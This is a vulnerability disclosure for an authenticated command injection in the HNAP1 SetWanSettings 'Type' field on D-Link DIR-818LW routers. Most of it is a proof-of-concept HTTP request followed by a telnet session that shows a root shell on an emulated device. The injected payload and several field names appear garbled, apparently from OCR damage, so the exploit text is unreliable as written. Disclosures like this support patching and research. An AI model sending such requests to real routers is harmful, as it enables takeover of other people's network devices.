DIR-818LW

Version

DIR818LW FW206betab01

decription

```
An issue was discovered on D-Link DIR-818LW devices with firmware 2.06betab01.

There is a command injection in HNAP1 (exploitable with Authentication) via shell metacharacters in the Type field to SetWanSettings.
```

others

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found by wx@teamseri0us360.
please send email to teamseri0us360@gmail.com if you have any question.
```

payload

bypass the check of the "Type" by modifying in HTTP Message

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:67.0) Gecko/20100101
Firefox/67.0
Accept: text/xml
Accept - Language: zh - CN, zh; q=0.8, zh - TW; q=0.7, zh - HK; q=0.5, en - US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/Internet.html
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetWanSettings"
HNAP_AUTH: EC0404A8461B34046E7AC1567F4B31F6 1562654588
Content-Length: 984
Connection: close
Cookie: uid=VgMTZBh4B7
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"</pre>
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
                 <SetWanSettings xmlns="http://purenetworks.com/HNAP1/">
                        <Type>S
                                            ) </Type>
                         <Username/>
                          <Password/>
                         <MaxIdleTime/>
                          <Host Name/>
                         <VPNIPAddress/>
                          <VPNSubnet Mask/>
                         <VPNGateway/>
                          <ServiceName/>
                          <AutoReconnect/>
                          <IPAddress>192.166.3.2</IPAddress>
                          <Subnet Mask>255.255.254.0</Subnet Mask>
                         <Gat eway>192.166.3.1</Gat eway>
                         <ConfigDNS>
                                  <Primary>1.11.1.1</Primary>
                                  <Secondary>2.2.2.2</Secondary>
                         </ConfigDNS>
                         <MacAddress>46:DE:09:A9:80:84</MacAddress>
                          <MTU>1400</MTU>
                         <DsLite_Configuration/>
                         <DsLite_AFTR IPv6Address/>
                         <DsLite_B4IPv4Address/>
                          <APN/>
                         <DialNo/>
                         <country/>
```

```
wx@wx-virtual-machine:~/iot/firmadyne$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2018-12-06 15:30:58 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# ls
firmadyne
                          lib
                                       etc
                                                    bin
             home
                                                                 ргос
include
                          htdocs
                                                    tmp
                                                                 mydlink
             sys
                                       WWW
mnt
                          usr
                                       dev
                                                    sbin
                                                                 lost+found
             var
# cd /etc/
#
```

source

/etc/scripts/IPV4.INET.php